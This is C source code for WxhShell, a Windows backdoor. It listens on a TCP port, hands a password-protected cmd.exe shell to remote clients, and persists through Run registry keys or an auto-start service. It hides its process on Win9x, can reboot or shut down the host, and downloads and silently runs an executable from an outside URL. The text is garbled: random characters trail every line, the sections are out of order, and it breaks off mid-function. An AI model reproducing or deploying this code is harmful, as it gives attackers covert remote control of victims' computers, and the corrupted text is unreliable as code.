    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0c`zg7|  
    if(Boot(SHUTDOWN)) 1}a4AGAp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V($V8P/  
    else { v5'`iO0o  
    closesocket(wsh); Dj96t5R  
    ExitThread(0); nI]EfHU  
    } an"~n`g  
    break; T8A(W  
    } V2}\]x'1  
  // 获取shell u|t l@_  
  case 's': { 6qZ\^ U  
    CmdShell(wsh); IyHbl_ P ^  
    closesocket(wsh); edo)W mn  
    ExitThread(0); =D$ED^W  
    break; Su,:f_If,  
  } ??p%_{QY~b  
  // 退出 d)vP9vXy  
  case 'x': { q5R| ^uf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IANSpWea?  
    CloseIt(wsh); Q"qI'*Kgt  
    break;  %nY\"  
    } b&F9<XLqq  
  // 离开 O<cP1TF  
  case 'q': { WChP,hw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S/5QK(XLC)  
    closesocket(wsh); ).5 X  
    WSACleanup(); C*(  
    exit(1); v,ssv{gU  
    break; ;_(f(8BO   
        } ]Orx %8QS!  
  } {o24A: M  
  } Y}c/wF7o  
/J#(8p  
  // 提示信息 3{3@>8{w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B}d&tH2^s  
} U0_^6zd_  
  } e NIzI]~  
%rptI$^*X  
  return; tVn?cS  
} ^OY]Y+S`Ox  
27eG8  
// shell模块句柄 kMQ /9~  
int CmdShell(SOCKET sock) _HUbE /  
{ f,HUr% @  
STARTUPINFO si; v(2N@s <%  
ZeroMemory(&si,sizeof(si)); C27:ty V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }sXTZX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dDPQDIx  
PROCESS_INFORMATION ProcessInfo; Ym6d'd<9(  
char cmdline[]="cmd"; X 0y$xC|<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \~5|~|9<  
  return 0; *1dDs^D#|  
} 'Z`7/I4&  
n[ B~C  
// 自身启动模式 y"q aa  
int StartFromService(void) $,4h\>1WP  
{ `$T$483/  
typedef struct zU?O)w1'  
{ -* ,CMw  
  DWORD ExitStatus; _M^.4H2  
  DWORD PebBaseAddress; Y 2 @8B6  
  DWORD AffinityMask; dVQ[@u1,  
  DWORD BasePriority; IP62|~Ap  
  ULONG UniqueProcessId; 11=$] K>  
  ULONG InheritedFromUniqueProcessId; ! xCo{U=  
}   PROCESS_BASIC_INFORMATION; _VrY7Mz:r  
l[}4 X/  
PROCNTQSIP NtQueryInformationProcess; 1-_r\sb  
Lzq/^&sc(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [oLV,O|s|j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ywa*?3?c  
x|6]+?l@6  
  HANDLE             hProcess; i>F=XE  
  PROCESS_BASIC_INFORMATION pbi; _[2@2q0  
}E 'r?N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jm^.E\_  
  if(NULL == hInst ) return 0; ~e{ @5.g  
,EB}IG ]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J Wn26,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "z~ba>,-\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !/zRw-q3B  
m@4Dz|  
  if (!NtQueryInformationProcess) return 0; [?!I*=*b  
f O*jCl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N^Re  
  if(!hProcess) return 0; X]0>0=^  
nr!N%Hi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &k }f"TX2  
*%j$i_  
  CloseHandle(hProcess); #.Rn6|V/4  
5~*)3z^V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F/>_PH57  
if(hProcess==NULL) return 0; t[^$F,  
ht3.e[%'b  
HMODULE hMod; xA] L0h]  
char procName[255]; GtA`0B  
unsigned long cbNeeded; uDF;_bli)H  
R@vcS=m7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UiFH*HT  
,?fJ0n:!%  
  CloseHandle(hProcess); &.?XntI9O  
*IG$"nu  
if(strstr(procName,"services")) return 1; // 以服务启动 0I&k_7_   
.fA*WQ!lb  
  return 0; // 注册表启动 o96C^y{~S  
} D Ez,u^   
d$dy6{/YD  
// 主模块 T<AT&4  
int StartWxhshell(LPSTR lpCmdLine) \/A.j|by,>  
{ m>>.N?  
  SOCKET wsl; K5""%O+  
BOOL val=TRUE; k+3qX'fd  
  int port=0; *XVwTW[a  
  struct sockaddr_in door; 9"[;ld<  
+.G"ool  
  if(wscfg.ws_autoins) Install(); K =g</@L6R  
VtreOJ+  
port=atoi(lpCmdLine); Ui{%q @  
7e/+C{3v  
if(port<=0) port=wscfg.ws_port; sDY~jP[Oa  
G0cG%sIl  
  WSADATA data; -N *L1Zj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cr7MvXF-  
/7Q|D sa  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5j%G7.S\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |{jT+  
  door.sin_family = AF_INET; _T=g?0 q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d[ N1zQW  
  door.sin_port = htons(port); JzHG5nmB  
]I*c:(qwu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G dgL}"*F  
closesocket(wsl); <Au2e  
return 1; 6% D9;-N)  
} ZykMri3bi  
5of3&  
  if(listen(wsl,2) == INVALID_SOCKET) { rr<E#w  
closesocket(wsl); <=uYfi3,  
return 1; v* ;d  
} enoj4g7em^  
  Wxhshell(wsl); ITu19WG  
  WSACleanup(); &hCbXs=  
M>Q]{/V7T  
return 0; 5{Cz!ut;tE  
/@os*c|je  
} _KT!OYH  
H'+7z-% G  
// 以NT服务方式启动 98m|&7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S63 Zk0(25  
{ OWd'z1Yl  
DWORD   status = 0; !-gU~0  
  DWORD   specificError = 0xfffffff; / )0hsQs  
4<s.|W`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~%{2Z_t$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J~YT~D 2L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gcLz}84  
  serviceStatus.dwWin32ExitCode     = 0; 74s{b]jN'-  
  serviceStatus.dwServiceSpecificExitCode = 0; }5o?7} ?  
  serviceStatus.dwCheckPoint       = 0; GQ_KYS{  
  serviceStatus.dwWaitHint       = 0; qnm_#!&uHT  
99m2aT()  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VYyija:  
  if (hServiceStatusHandle==0) return; f60w%  
q5'S<qY^  
status = GetLastError(); f| RmAP;X,  
  if (status!=NO_ERROR) yMs!6c*  
{ h8rW"8Th  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .UyE|t4  
    serviceStatus.dwCheckPoint       = 0; sFU< PgV  
    serviceStatus.dwWaitHint       = 0; $KHm5*;nd  
    serviceStatus.dwWin32ExitCode     = status; 3"fDFR  
    serviceStatus.dwServiceSpecificExitCode = specificError; sXKkZ+2q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [B0 BHJ~  
    return; 7]{g^g.9-  
  } ZbnAAbfKH  
L"_X W no  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?u|??z%  
  serviceStatus.dwCheckPoint       = 0; jnH\}IB  
  serviceStatus.dwWaitHint       = 0; y@P%t9l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @SQsEq+A?\  
} &$"#hGg  
p6M9uu  
// 处理NT服务事件,比如:启动、停止 Q PH=`s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3G} )$y3m  
{ Z:4/lx7Bq  
switch(fdwControl) nF3}wCe)  
{ 0.GFg${v`  
case SERVICE_CONTROL_STOP: =C\Tl-$\f  
  serviceStatus.dwWin32ExitCode = 0; %Ymi,o>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <O#&D|EMd|  
  serviceStatus.dwCheckPoint   = 0; .ZXoRT  
  serviceStatus.dwWaitHint     = 0; sqkWQ`Ur  
  { mvn- QP~"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pz4#>tP  
  } )|gw5N4;  
  return; )ycI.[C  
case SERVICE_CONTROL_PAUSE: ;?h[WIy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'u,|*o  
  break; dwj?;  
case SERVICE_CONTROL_CONTINUE: z 4u&#.bU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y:G%p3h)[  
  break; +NlnK6T/  
case SERVICE_CONTROL_INTERROGATE: CTMC78=9}  
  break; FW]tDGJOw  
}; <z Gh}.6v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XM'tIE+|  
} Z)!8a$M~  
I{Du/"r#  
// 标准应用程序主函数 5K vp%   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +VwQ=[y]  
{ -cqE^qAdX  
MU<(O}  
// 获取操作系统版本 3(YvqPp&  
OsIsNt=GetOsVer(); 2>z YJqG|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z |$#  
g*k)ws  
  // 从命令行安装 ]#0 (  
  if(strpbrk(lpCmdLine,"iI")) Install(); J[/WBVFDf  
bWSN]]e1#  
  // 下载执行文件 Q14zc0N  
if(wscfg.ws_downexe) { 5F kdGF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qxZIH  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~IhAO}1  
} Y6{^cZ!=  
/wD f,Hduz  
if(!OsIsNt) { #W\}v(Ke  
// 如果时win9x,隐藏进程并且设置为注册表启动 \ o<ucp\J  
HideProc(); =VC18yA  
StartWxhshell(lpCmdLine); fA=Z):w  
} 96WzgHPWo  
else zt.k Nb  
  if(StartFromService()) vQWmHv\P  
  // 以服务方式启动 !GOaBs  
  StartServiceCtrlDispatcher(DispatchTable); *%xbn8  
else ki1(b]rf  
  // 普通方式启动 b.*LmSX#  
  StartWxhshell(lpCmdLine); G`!x+FB  
]r`;89:s>  
return 0; & ALnE:F  
} oR#W@OK@is  
!Asncc G  
$;v! ,>  
WD5J2EePT  
=========================================== 5 -i,Tx&:  
r]9-~1T  
*p/,Z2f  
RELNWr  
n;Bb/Z!~  
{-A|f  
" xG!~TQ  
0%%1:W-  
#include <stdio.h> [?K>s>it  
#include <string.h> ERPg TZT  
#include <windows.h> Es>' N3A z  
#include <winsock2.h> |5u~L#P  
#include <winsvc.h> TV`1&ta  
#include <urlmon.h> 7hJX  
o z*;q]  
#pragma comment (lib, "Ws2_32.lib") ]zx%"SUM  
#pragma comment (lib, "urlmon.lib") z;JV3) E  
UPtj@gtcY  
#define MAX_USER   100 // 最大客户端连接数 @a 9.s  
#define BUF_SOCK   200 // sock buffer 21TR_0g&<  
#define KEY_BUFF   255 // 输入 buffer JrcbJt  
LR=Ji7  
#define REBOOT     0   // 重启 f*%kHfaXgN  
#define SHUTDOWN   1   // 关机 bM?gAY]mB8  
l uP;P&  
#define DEF_PORT   5000 // 监听端口 ;nSF\X(;{  
/3s&??{tv  
#define REG_LEN     16   // 注册表键长度 Y` }X5(A@  
#define SVC_LEN     80   // NT服务名长度 Y`~B> J  
]i {yJ)i  
// 从dll定义API )j;^3LiV3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HH*y$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jG>W+lq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^N7H~CT"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WW:G( \`  
o`f^m   
// wxhshell配置信息 $w(RJ/  
struct WSCFG { MpOU>\  
  int ws_port;         // 监听端口 (MLcA\LJ  
  char ws_passstr[REG_LEN]; // 口令 2E }vuw=c  
  int ws_autoins;       // 安装标记, 1=yes 0=no 44KoOY_  
  char ws_regname[REG_LEN]; // 注册表键名 V'9.l6l   
  char ws_svcname[REG_LEN]; // 服务名 "$(+M t^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "Not /8J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =~ Uhr6Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qfsPX6]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .D@J\<,+l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )$]lf }  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,l~<|\4,wv  
X&9: ^$m  
}; #Hrzk!&9   
@1CXc"IgA  
// default Wxhshell configuration '3S~QN  
struct WSCFG wscfg={DEF_PORT, Et3I(X3  
    "xuhuanlingzhe", ET.jjV  
    1, Y,s EM%  
    "Wxhshell", s|p I`  
    "Wxhshell", X,Na4~JO(  
            "WxhShell Service", m,)s8_a  
    "Wrsky Windows CmdShell Service", g-qXS]y7  
    "Please Input Your Password: ", Uxjc&o  
  1, l@);U%\pS  
  "http://www.wrsky.com/wxhshell.exe", v@$N,g  
  "Wxhshell.exe" \D|IN'!D  
    }; BAQ-1kSz  
-'Z Gc8)  
// 消息定义模块 _)45G"M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; irQ'Rm [  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VKttJok1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +Kk1[fh-  
char *msg_ws_ext="\n\rExit."; _V$'nz#>e  
char *msg_ws_end="\n\rQuit."; ]LB_ @#  
char *msg_ws_boot="\n\rReboot..."; h]<S0/  
char *msg_ws_poff="\n\rShutdown..."; yz68g?"  
char *msg_ws_down="\n\rSave to "; `/sNX<mp  
~ YH?wdT  
char *msg_ws_err="\n\rErr!"; =\6)B{#T  
char *msg_ws_ok="\n\rOK!";  Qxz[  
FW-I|kK.  
char ExeFile[MAX_PATH]; D;YfQQr  
int nUser = 0; HTh? &u\QG  
HANDLE handles[MAX_USER]; 2W+~{3[#  
int OsIsNt; es7;eH*O9  
( eKgc  
SERVICE_STATUS       serviceStatus; r~,y3L6ic  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S1$^ _S =  
?("O.<  
// 函数声明 hF$`=hE,F~  
int Install(void); == wX.y\.n  
int Uninstall(void); k3bQ32()  
int DownloadFile(char *sURL, SOCKET wsh); gC?}1]9c  
int Boot(int flag); >SXSrXyYX  
void HideProc(void); 8C{&i5kj\E  
int GetOsVer(void); 7$<pdayd  
int Wxhshell(SOCKET wsl); JwMRquQv  
void TalkWithClient(void *cs); IRbyW?/Xv  
int CmdShell(SOCKET sock); -jJhiaJ$<  
int StartFromService(void); Nk9=A4=|  
int StartWxhshell(LPSTR lpCmdLine); QYbB\Y  
ZuGSRGX'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4.,EKw3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }sxs-  
*}vvS^c0  
// 数据结构和表定义 2 `AdNt,  
SERVICE_TABLE_ENTRY DispatchTable[] = i\CA6I  
{ i~Tt\UA>  
{wscfg.ws_svcname, NTServiceMain}, ]y {tMC  
{NULL, NULL} ?d%)R*3IX  
}; c';~bYZ  
~);4O8~.  
// 自我安装 Z8=?Hu  
int Install(void) M !6Fnj  
{ TFkG"ev  
  char svExeFile[MAX_PATH]; 8fqabR  
  HKEY key; bkJ bnW=  
  strcpy(svExeFile,ExeFile); |V5BL<4  
k*A(7qQA`4  
// 如果是win9x系统,修改注册表设为自启动 QjLU@?&  
if(!OsIsNt) { "[ LUv5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3}}/,pGSc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _-fLD  
  RegCloseKey(key); b=Nsz$[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;Pk"mC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $2Wk#F2c=  
  RegCloseKey(key); "22./vWV|i  
  return 0; vGyQ306  
    } Q%O9DCi  
  } #m|el@)  
} Qb@j8Xa4[  
else { L@\t] ~  
(~G*' /)  
// 如果是NT以上系统,安装为系统服务 D&m1yl@\J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XF: wsC  
if (schSCManager!=0) 4AhF E@  
{ N,w6  
  SC_HANDLE schService = CreateService NATi)A"TZ  
  ( ^(&2  
  schSCManager, *?Eu{J){7%  
  wscfg.ws_svcname, )%jS9e{d  
  wscfg.ws_svcdisp, X)SUFhP\  
  SERVICE_ALL_ACCESS, c+{XP&g8_J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w'}s'gGE  
  SERVICE_AUTO_START, }|h-=T '  
  SERVICE_ERROR_NORMAL, s;h`n$  
  svExeFile, Yy 4Was#  
  NULL, (NUXK  
  NULL, |g7)A?2J~  
  NULL, ?Ho$fGz  
  NULL, 4`~OxL  
  NULL 2^s&#@n3t  
  ); (a!E3y5,  
  if (schService!=0) QPVr:+\B{  
  { [ 2@Lc3<  
  CloseServiceHandle(schService); Jur$O,u40l  
  CloseServiceHandle(schSCManager); h1>.w pr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XXwIp-'  
  strcat(svExeFile,wscfg.ws_svcname); %|@?)[;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >`3 0 ib  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PvUY Q>Kw  
  RegCloseKey(key); h<m>S,@g  
  return 0; tc;$7F ;  
    } j+< !4 0#  
  } <\:*cET3  
  CloseServiceHandle(schSCManager); "~C \Z} ;  
} ]Gl_L7u`  
} i_6wD  
Kc9)Lzu+  
return 1; T5~Qfl?Y  
} |q o3 E  
=L$RY2S"  
// 自我卸载 p*P0<01Z  
int Uninstall(void) [\HAJA,  
{ hy"p8j7_  
  HKEY key; ,38bT#p:,r  
[-[|4|CnOm  
if(!OsIsNt) { :Z ]E:f0P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DF#WQ8?$]  
  RegDeleteValue(key,wscfg.ws_regname); AM gvk`<f  
  RegCloseKey(key); Q[O U`   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gvZLW!={  
  RegDeleteValue(key,wscfg.ws_regname); uuh vd h=  
  RegCloseKey(key); /=OSGIJzm  
  return 0; J! eVw\6  
  } q33!X!br  
} E{9{%J  
} cmh/a~vYaY  
else { OaxE3bDT  
5Q72.4HH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z42v@?R.!W  
if (schSCManager!=0) J2#=`|t"  
{ 48%a${Nvvj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NU/~E"^I.  
  if (schService!=0) e$(i!G)  
  { .Lu=16  
  if(DeleteService(schService)!=0) { '*p-`  
  CloseServiceHandle(schService); L{CHAVkV  
  CloseServiceHandle(schSCManager); f{z%PI[  
  return 0; ;/{Q4X{  
  } uJp}9B60_  
  CloseServiceHandle(schService); J&:0ytG  
  } tT#Q`cB  
  CloseServiceHandle(schSCManager); kAk,:a;P  
} U14dQ=~b/  
} "AVj]jR  
S(-=I!.G{  
return 1; $v oyXi`*  
} IA!ixabG  
'Jl.fN  
// 从指定url下载文件 |)JoxqR  
int DownloadFile(char *sURL, SOCKET wsh) LA@}{hU  
{ &Y=NUDt_  
  HRESULT hr; >%3c1  
char seps[]= "/"; `y6l^ep  
char *token; /tv;W  
char *file; ".i{WyTt  
char myURL[MAX_PATH]; /eMZTh*1P  
char myFILE[MAX_PATH]; a!^wc,  
Gf]s?J^a  
strcpy(myURL,sURL); ~D=@4(f8|  
  token=strtok(myURL,seps); < 5_Ys  
  while(token!=NULL) \+~4t  
  { I2DmM"-|  
    file=token; x[^A9  
  token=strtok(NULL,seps); A7RX2  
  } /[IQ:':^  
S'JeA>L  
GetCurrentDirectory(MAX_PATH,myFILE); B:r-')!0$#  
strcat(myFILE, "\\"); yK7>^p}V  
strcat(myFILE, file); *(MvNN*  
  send(wsh,myFILE,strlen(myFILE),0); 0amz#VIB<u  
send(wsh,"...",3,0); rlIEch^wZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +?:V\niQI  
  if(hr==S_OK) enzQ}^  
return 0; "qm>z@K  
else Z =c@Gd  
return 1; -d3y!| \>a  
66Xt=US  
} c-=0l)&'D=  
+=k|(8Js#  
// 系统电源模块 e d*AU,^@v  
int Boot(int flag) G0Eq }MyF  
{ ggTjd"|)  
  HANDLE hToken; e`Yns$x  
  TOKEN_PRIVILEGES tkp; FOA%( 5$4  
">9CN$]J  
  if(OsIsNt) { m'B6qy!}6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "'#Hh&Us  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F]*-i 55S  
    tkp.PrivilegeCount = 1; S%fBt?-Cm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dZgfls  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8W>l(w9M  
if(flag==REBOOT) { =x'%zUgE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -*M:OF"Zh  
  return 0; 3Q}Y?rkJ5  
} ]c2| m}I{:  
else { 3T/j5m}+!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i=oa"^c4  
  return 0; uP]o39b;V  
} TMCA?r%Y\  
  } AZy2Pu56  
  else { 8Q -F  
if(flag==REBOOT) { l7!)#^`2_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )x&@j4,  
  return 0; %Ab_PAw  
} l5ds`uR#  
else { V^+:U>$w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "%t`I)  
  return 0; Ds_ "m,  
} n;`L5  
} Sg>0P*K@  
V9_HC f  
return 1; .b oizW1+  
} ]/Qy1,  
XSjelA?  
// win9x进程隐藏模块 <@2# VG  
void HideProc(void)  ja- ~`  
{ rI+w1';C1  
Q5n : f+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /+`<X%^U  
  if ( hKernel != NULL ) mS}x2 &  
  { GTe:k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TeCpT2!5j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p3FnYz-V  
    FreeLibrary(hKernel); ]\,uF8gg)  
  } }k0-?_Z=1  
A=d$ir K[  
return; 0DVZRB  
} R 0HVLQI  
hUvuq,LH_  
// 获取操作系统版本 yUmsE-W  
int GetOsVer(void) poYAiq_3T  
{ )z235}P  
  OSVERSIONINFO winfo; [RPAkp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Pph8"`mv.m  
  GetVersionEx(&winfo); xTFrrmxOf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n,a5LR  
  return 1; 6y,P4O*q  
  else s~X*U&}5  
  return 0; /dJ)TW(Ir  
} @ PoFxv  
q6JW@GT  
// 客户端句柄模块 h<' 5q&y  
int Wxhshell(SOCKET wsl) Iei7!KLW  
{ 14n="-9  
  SOCKET wsh; ?t0zsq  
  struct sockaddr_in client; }i7U}T  
  DWORD myID; 3R%UPT0>  
IgVo%)n  
  while(nUser<MAX_USER) q X%vRf0  
{ SAG` ^t  
  int nSize=sizeof(client); yvoo M'R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YP#AB]2\}  
  if(wsh==INVALID_SOCKET) return 1; 0YpiHoM  
r3H}*Wpf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SQt|(r)  
if(handles[nUser]==0) ,d>X/kd|o  
  closesocket(wsh); grCO-S|j^  
else g7 Md  
  nUser++; S}w.#tyEn  
  } 12tJrS*Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~S^X"8(U  
?VZ11?u  
  return 0; Y0PGT5].@'  
} iL0jpa<}  
^s2m\Q(  
// 关闭 socket JXL9Gge  
void CloseIt(SOCKET wsh) P('t6MVl T  
{ L`jB)wF /J  
closesocket(wsh); 9'n))%CZ.  
nUser--; %9QMzz5  
ExitThread(0); -OrY{^F  
} ,l$NJt   
%Ui{=920  
// 客户端请求句柄 r*6"'W>c6  
void TalkWithClient(void *cs) <o&o=Y8  
{ aJ6#=G61l  
[;?"R-V"z  
  SOCKET wsh=(SOCKET)cs; ha|@ X p  
  char pwd[SVC_LEN]; 0~+NB-L}  
  char cmd[KEY_BUFF]; }z%OnP  
char chr[1]; /lLov.  
int i,j; QN_)3lm  
GSz @rDGY  
  while (nUser < MAX_USER) { (]3ERPn#y  
`E} p77  
if(wscfg.ws_passstr) { 3z,v#2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lx{.H,1~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i1qS ns  
  //ZeroMemory(pwd,KEY_BUFF); lo+xo;Nd  
      i=0; T[0V%Br{d+  
  while(i<SVC_LEN) { wv, GBZ-f  
L!;^ #g  
  // 设置超时 VLcyPM@"Q!  
  fd_set FdRead; SkiJ pMN  
  struct timeval TimeOut; Qm.z@DwFM{  
  FD_ZERO(&FdRead); -|m$YrzG  
  FD_SET(wsh,&FdRead); e7@li<3>d  
  TimeOut.tv_sec=8; C(-[ Y!  
  TimeOut.tv_usec=0; j\2] M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }FPM-M3y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `nT?6gy  
)K{o<m~WAo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JAc@S20v\  
  pwd=chr[0]; <fNGhmL  
  if(chr[0]==0xd || chr[0]==0xa) { 9;=q=O/  
  pwd=0; h ZoC _\  
  break; L)q`D2|'  
  } sf Dg/ a  
  i++; It%T7 X#  
    } 3PfiQ|/b  
;K3d' U  
  // 如果是非法用户,关闭 socket saatU;V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G9\EZ\x!  
} 6 |QTS|!  
Ay 2b,q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $zdd=.!KiK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 49o\^<4b  
j*XjY[  
while(1) { F y b[{"  
$( S*GF$S  
  ZeroMemory(cmd,KEY_BUFF); a;%I\w;2  
{`a(Tl8V  
      // 自动支持客户端 telnet标准   $nj\\,(g  
  j=0; Q\H_t)-  
  while(j<KEY_BUFF) { pg+b[7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); veV_be{i  
  cmd[j]=chr[0]; \fTTkpM  
  if(chr[0]==0xa || chr[0]==0xd) {  Q.yb4  
  cmd[j]=0; mxgqS=`  
  break; nh<Z1tMU  
  } +@e }mL\8  
  j++; >E, Q  
    } ]a M-p@  
w^3|(F  
  // 下载文件 &I%IaNco  
  if(strstr(cmd,"http://")) { /N>} 4Ay  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `g--QR  
  if(DownloadFile(cmd,wsh)) )T9~8p.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sdrWOq  
  else 8&%Cy'TIz4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "e@n:N!  
  } :<H8'4>  
  else { e9 *lixh  
